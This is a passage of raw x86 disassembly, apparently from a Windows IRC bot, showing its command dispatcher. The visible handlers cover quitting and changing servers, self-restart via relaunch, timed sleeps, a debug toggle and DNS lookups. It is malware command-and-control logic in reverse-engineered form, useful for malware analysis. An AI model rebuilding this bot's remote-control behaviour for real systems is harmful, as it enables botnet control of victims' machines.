[ebp+var_A5C] push eax call sub_4105AD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B247: ; CODE XREF: sub_40A9CF+787j mov eax, [ebp+var_1A8] sub eax, ds:dword_419D08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B28E mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_405E45 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B28E: ; CODE XREF: sub_40A9CF+88Bj mov eax, [ebp+var_1A8] sub eax, ds:dword_419CFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B2C5 mov eax, [ebp+arg_18] add eax, 4 push eax mov eax, [ebp+arg_14] add eax, 4 push eax lea eax, [ebp+var_1A4] push eax call sub_4167DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B2C5: ; CODE XREF: sub_40A9CF+8D2j mov eax, [ebp+var_1A8] sub eax, ds:dword_419CF0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B2EF mov eax, [ebp+var_1A8] sub eax, ds:dword_419CE4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B300 loc_40B2EF: ; CODE XREF: sub_40A9CF+909j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D74D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B300: ; CODE XREF: sub_40A9CF+91Ej mov eax, [ebp+var_1A8] sub eax, ds:dword_419CD4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B335 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403260 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B335: ; CODE XREF: sub_40A9CF+944j mov eax, [ebp+var_1A8] sub eax, ds:dword_419CC8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B36A mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40260D add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B36A: ; CODE XREF: sub_40A9CF+979j mov eax, [ebp+var_1A8] sub eax, ds:dword_419CB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3A5 mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406509 add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3A5: ; CODE XREF: sub_40A9CF+9AEj mov eax, [ebp+var_1A8] sub eax, ds:dword_419CA8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3DA mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_41665C add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3DA: ; CODE XREF: sub_40A9CF+9E9j mov eax, [ebp+var_1A8] sub eax, ds:dword_419C98 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B426 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B3FD jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3FD: ; CODE XREF: sub_40A9CF+A27j mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000001h call sub_401000 pop ecx pop ecx mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000002h call sub_401000 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B426: ; CODE XREF: sub_40A9CF+A1Ej mov eax, [ebp+var_1A8] sub eax, ds:dword_419C88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B44C mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_401146 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B44C: ; CODE XREF: sub_40A9CF+A6Aj mov eax, [ebp+var_1A8] sub eax, ds:dword_419C7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B47D push 0 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B47D: ; CODE XREF: sub_40A9CF+A90j mov eax, [ebp+var_1A8] sub eax, ds:dword_419C70 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4AE push 1 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4AE: ; CODE XREF: sub_40A9CF+AC1j mov eax, [ebp+var_1A8] sub eax, ds:dword_419C64 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4D5 lea eax, [ebp+var_1A4] push eax call sub_409BF1 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4D5: ; CODE XREF: sub_40A9CF+AF2j mov eax, [ebp+var_1A8] sub eax, ds:dword_419C5C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B508 push offset dword_41F018 push offset dword_419C4C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B508: ; CODE XREF: sub_40A9CF+B19j mov eax, [ebp+var_1A8] sub eax, ds:dword_419C40 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B536 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413FE7 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B536: ; CODE XREF: sub_40A9CF+B4Cj mov eax, [ebp+var_1A8] sub eax, ds:dword_419C34 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, ds:dword_419C28 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, ds:dword_419C1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5A7 loc_40B575: ; CODE XREF: sub_40A9CF+B7Aj ; sub_40A9CF+B8Fj mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413AB0 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5A7: ; CODE XREF: sub_40A9CF+BA4j mov eax, [ebp+var_1A8] sub eax, ds:dword_419C0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5CE lea eax, [ebp+var_1A4] push eax call sub_41417D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5CE: ; CODE XREF: sub_40A9CF+BEBj mov eax, [ebp+var_1A8] sub eax, ds:dword_419BF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B631 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz short loc_40B61B mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_41673F pop ecx test eax, eax jnz short loc_40B601 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B601: ; CODE XREF: sub_40A9CF+C2Bj push 104h mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_41ED10 call sub_407A56 add esp, 0Ch jmp short loc_40B62C ; --------------------------------------------------------------------------- loc_40B61B: ; CODE XREF: sub_40A9CF+C1Bj push offset dword_41EBFC push offset dword_41ED10 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B62C: ; CODE XREF: sub_40A9CF+C4Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B631: ; CODE XREF: sub_40A9CF+C12j mov eax, [ebp+var_1A8] sub eax, ds:dword_419BE8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B678 mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_414600 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B678: ; CODE XREF: sub_40A9CF+C75j mov eax, [ebp+var_1A8] sub eax, ds:dword_419BE0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B791 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B69F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B69F: ; CODE XREF: sub_40A9CF+CC9j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx shl eax, 1 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A68], eax cmp [ebp+var_5A68], 0 jnz short loc_40B6C8 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B6C8: ; CODE XREF: sub_40A9CF+CF2j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_5A68] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40EB4E add esp, 0Ch push [ebp+var_5A68] push offset dword_419BC4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A68] call sub_416B4C ; free pop ecx push 1000h lea eax, [ebp+var_1A60] push eax call sub_4104A3 pop ecx pop ecx call sub_416B64 ; clock mov [ebp+var_A60], eax and [ebp+var_1A64], 0 jmp short loc_40B743 ; --------------------------------------------------------------------------- loc_40B736: ; CODE XREF: sub_40A9CF+D9Bj mov eax, [ebp+var_1A64] inc eax mov [ebp+var_1A64], eax loc_40B743: ; CODE XREF: sub_40A9CF+D65j cmp [ebp+var_1A64], 186A0h jge short loc_40B76C push 1000h lea eax, [ebp+var_5A64] push eax lea eax, [ebp+var_1A60] push eax call sub_40EB4E add esp, 0Ch jmp short loc_40B736 ; --------------------------------------------------------------------------- loc_40B76C: ; CODE XREF: sub_40A9CF+D7Ej call sub_416B64 ; clock sub eax, [ebp+var_A60] push eax push offset aItTookMeUms_ ; "It took me %ums." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B791: ; CODE XREF: sub_40A9CF+CBCj mov eax, [ebp+var_1A8] sub eax, ds:dword_419BA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B823 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B7B4 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7B4: ; CODE XREF: sub_40A9CF+DDEj mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A6C], eax cmp [ebp+var_5A6C], 0 jnz short loc_40B7DB jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40A9CF+E05j push [ebp+var_5A6C] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40E9C9 pop ecx pop ecx mov ecx, [ebp+var_5A6C] and byte ptr [ecx+eax], 0 push [ebp+var_5A6C] push offset dword_419B88 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A6C] call sub_416B4C ; free pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B823: ; CODE XREF: sub_40A9CF+DD5j mov eax, [ebp+var_1A8] sub eax, ds:dword_419B78 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B873 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40B85C push offset dword_41F018 push offset dword_419B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp short loc_40B86E ; --------------------------------------------------------------------------- loc_40B85C: ; CODE XREF: sub_40A9CF+E70j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41F018 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B86E: ; CODE XREF: sub_40A9CF+E8Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B873: ; CODE XREF: sub_40A9CF+E67j mov eax, [ebp+var_1A8] sub eax, ds:dword_419B58 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B899 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4097A7 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B899: ; CODE XREF: sub_40A9CF+EB7j mov eax, [ebp+var_1A8] sub eax, ds:dword_419B4C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8C7 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403FE5 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8C7: ; CODE XREF: sub_40A9CF+EDDj mov eax, [ebp+var_1A8] sub eax, ds:dword_419B3C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8ED mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4098F3 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8ED: ; CODE XREF: sub_40A9CF+F0Bj mov eax, [ebp+var_1A8] sub eax, ds:dword_419B30 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B91B mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406722 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B91B: ; CODE XREF: sub_40A9CF+F31j mov eax, [ebp+var_1A8] sub eax, ds:dword_419B20 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B949 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_412F07 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B949: ; CODE XREF: sub_40A9CF+F5Fj mov eax, [ebp+var_1A8] sub eax, ds:dword_419B14 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B98A mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A1A7 add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B98A: ; CODE XREF: sub_40A9CF+F8Dj mov eax, [ebp+var_1A8] sub eax, ds:dword_419B08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9BF mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A50E add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9BF: ; CODE XREF: sub_40A9CF+FCEj mov eax, [ebp+var_1A8] sub eax, ds:dword_419AFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9F5 push offset dword_41EBFC push offset aQuitSRemoved_ ; "QUIT :%s removed." call sub_40D6CB pop ecx pop ecx push 36EE80h call ds:dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9F5: ; CODE XREF: sub_40A9CF+1003j mov eax, [ebp+var_1A8] sub eax, ds:dword_419ADC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BA79 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA18 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA18: ; CODE XREF: sub_40A9CF+1042j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41DB88 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BA41 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63EC], eax jmp short loc_40BA4B ; --------------------------------------------------------------------------- loc_40BA41: ; CODE XREF: sub_40A9CF+1062j mov [ebp+var_63EC], offset byte_41DF00 loc_40BA4B: ; CODE XREF: sub_40A9CF+1070j push [ebp+var_63EC] push offset dword_41EE18 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EE18 push offset dword_41DB88 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA79: ; CODE XREF: sub_40A9CF+1039j mov eax, [ebp+var_1A8] sub eax, ds:dword_419AC4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BADB mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA9C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA9C: ; CODE XREF: sub_40A9CF+10C6j mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BAB3 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63F0], eax jmp short loc_40BABD ; --------------------------------------------------------------------------- loc_40BAB3: ; CODE XREF: sub_40A9CF+10D4j mov [ebp+var_63F0], offset byte_41DF00 loc_40BABD: ; CODE XREF: sub_40A9CF+10E2j push [ebp+var_63F0] mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BADB: ; CODE XREF: sub_40A9CF+10BDj mov eax, [ebp+var_1A8] sub eax, ds:dword_419AB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB15 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BAFE jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BAFE: ; CODE XREF: sub_40A9CF+1128j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AB0 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB15: ; CODE XREF: sub_40A9CF+111Fj mov eax, [ebp+var_1A8] sub eax, ds:dword_419AA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB6C mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BB38 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB38: ; CODE XREF: sub_40A9CF+1162j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_5A70], eax cmp [ebp+var_5A70], 927C0h jle short loc_40BB5B jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB5B: ; CODE XREF: sub_40A9CF+1185j push [ebp+var_5A70] call ds:dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB6C: ; CODE XREF: sub_40A9CF+1159j mov eax, [ebp+var_1A8] sub eax, ds:dword_419A9C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBB0 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BB93 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BB98 loc_40BB93: ; CODE XREF: sub_40A9CF+11B9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: sub_40A9CF+11C2j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D4AB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBB0: ; CODE XREF: sub_40A9CF+11B0j mov eax, [ebp+var_1A8] sub eax, ds:dword_419A90 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBF4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BBD7 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BBDC loc_40BBD7: ; CODE XREF: sub_40A9CF+11FDj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBDC: ; CODE XREF: sub_40A9CF+1206j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D420 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBF4: ; CODE XREF: sub_40A9CF+11F4j mov eax, [ebp+var_1A8] sub eax, ds:dword_419A88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BC28 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40BC17 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC17: ; CODE XREF: sub_40A9CF+1241j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC28: ; CODE XREF: sub_40A9CF+1238j mov eax, [ebp+var_1A8] sub eax, ds:dword_419A7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCB2 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BC84 cmp ds:dword_41DF08, 0 jz short loc_40BC5B mov [ebp+var_63F4], offset aOn ; "on" jmp short loc_40BC65 ; --------------------------------------------------------------------------- loc_40BC5B: ; CODE XREF: sub_40A9CF+127Ej mov [ebp+var_63F4], offset aOff ; "off" loc_40BC65: ; CODE XREF: sub_40A9CF+128Aj push [ebp+var_63F4] push offset aDebugModeIsS_ ; "Debug mode is %s." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC84: ; CODE XREF: sub_40A9CF+1275j push offset aOn ; "on" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40BCA6 mov ds:dword_41DF08, 1 jmp short loc_40BCAD ; --------------------------------------------------------------------------- loc_40BCA6: ; CODE XREF: sub_40A9CF+12C9j and ds:dword_41DF08, 0 loc_40BCAD: ; CODE XREF: sub_40A9CF+12D5j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCB2: ; CODE XREF: sub_40A9CF+126Cj mov eax, [ebp+var_1A8] sub eax, ds:dword_419A50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCD9 lea eax, [ebp+var_1A4] push eax call sub_415DFD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCD9: ; CODE XREF: sub_40A9CF+12F6j mov eax, [ebp+var_1A8] sub eax, ds:dword_419A44 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD13 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BCFC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCFC: ; CODE XREF: sub_40A9CF+1326j mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_419A3C call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD13: ; CODE XREF: sub_40A9CF+131Dj mov eax, [ebp+var_1A8] sub eax, ds:dword_419A30 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, ds:dword_419A24 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, ds:dword_419A1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD62 loc_40BD52: ; CODE XREF: sub_40A9CF+1357j ; sub_40A9CF+136Cj push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD62: ; CODE XREF: sub_40A9CF+1381j mov eax, [ebp+var_1A8] sub eax, ds:dword_419A10 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BDC9 push 104h lea eax, [ebp+var_5B74] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA push 0 push 0 push 0 lea eax, [ebp+var_5B74] push eax push offset aOpen ; "open" push 0 call ds:dword_4171D0 cmp eax, 20h ja short loc_40BDB6 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDB6: ; CODE XREF: sub_40A9CF+13E0j push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx push 0 call ds:dword_41705C ; ExitProcess loc_40BDC9: ; CODE XREF: sub_40A9CF+13A6j mov eax, [ebp+var_1A8] sub eax, ds:dword_419A04 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE19 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BDEC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDEC: ; CODE XREF: sub_40A9CF+1416j mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax push offset dword_4199D4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE19: ; CODE XREF: sub_40A9CF+140Dj mov eax, [ebp+var_1A8] sub eax, ds:dword_4199C4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE38 call sub_407148 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE38: ; CODE XREF: sub_40A9CF+145Dj mov eax, [ebp+var_1A8] sub eax, ds:dword_4199BC neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BE62 mov eax, [ebp+var_1A8] sub eax, ds:dword_4199B0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE7B loc_40BE62: ; CODE XREF: sub_40A9CF+147Cj mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_401D6E pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE7B: ; CODE XREF: sub_40A9CF+1491j mov eax, [ebp+var_1A8] sub eax, ds:dword_4199A8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEA9 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40CEB0 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEA9: ; CODE XREF: sub_40A9CF+14BFj mov eax, [ebp+var_1A8] sub eax, ds:dword_41999C neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BED3 mov eax, [ebp+var_1A8] sub eax, ds:dword_41998C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEFD loc_40BED3: ; CODE XREF: sub_40A9CF+14EDj push offset aQuitChangingSe ; "QUIT :changing server" call sub_40D6CB pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D366 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEFD: ; CODE XREF: sub_40A9CF+1502j mov eax, [ebp+var_1A8] sub eax, ds:dword_41996C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C0D9 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BF29 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DF00 loc_40BF29: ; CODE XREF: sub_40A9CF+154Ej lea eax, [ebp+var_5B78] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call ds:dword_41DF54 ; getaddrinfo test eax, eax jnz loc_40C0BA mov eax, [ebp+var_5B78] mov [ebp+var_5B7C], eax loc_40BF54: ; CODE XREF: sub_40A9CF+16D8j cmp [ebp+var_5B7C], 0 jz loc_40C0AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+10h] mov eax, [ebp+var_5B7C] push dword ptr [eax+18h] call ds:dword_41DF58 ; getnameinfo test eax, eax jnz loc_40C098 mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 2 jnz short loc_40BFEA mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40BFBA mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63F8], eax jmp short loc_40BFC4 ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40A9CF+15DBj mov [ebp+var_63F8], offset dword_419968 loc_40BFC4: ; CODE XREF: sub_40A9CF+15E9j lea eax, [ebp+var_5F80] push eax push [ebp+var_63F8] push offset dword_419944 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C08D ; --------------------------------------------------------------------------- loc_40BFEA: ; CODE XREF: sub_40A9CF+15CEj mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 17h jnz short loc_40C03E mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C011 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63FC], eax jmp short loc_40C01B ; --------------------------------------------------------------------------- loc_40C011: ; CODE XREF: sub_40A9CF+1632j mov [ebp+var_63FC], offset dword_419968 loc_40C01B: ; CODE XREF: sub_40A9CF+1640j lea eax, [ebp+var_5F80] push eax push [ebp+var_63FC] push offset dword_419920 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp short loc_40C08D ; 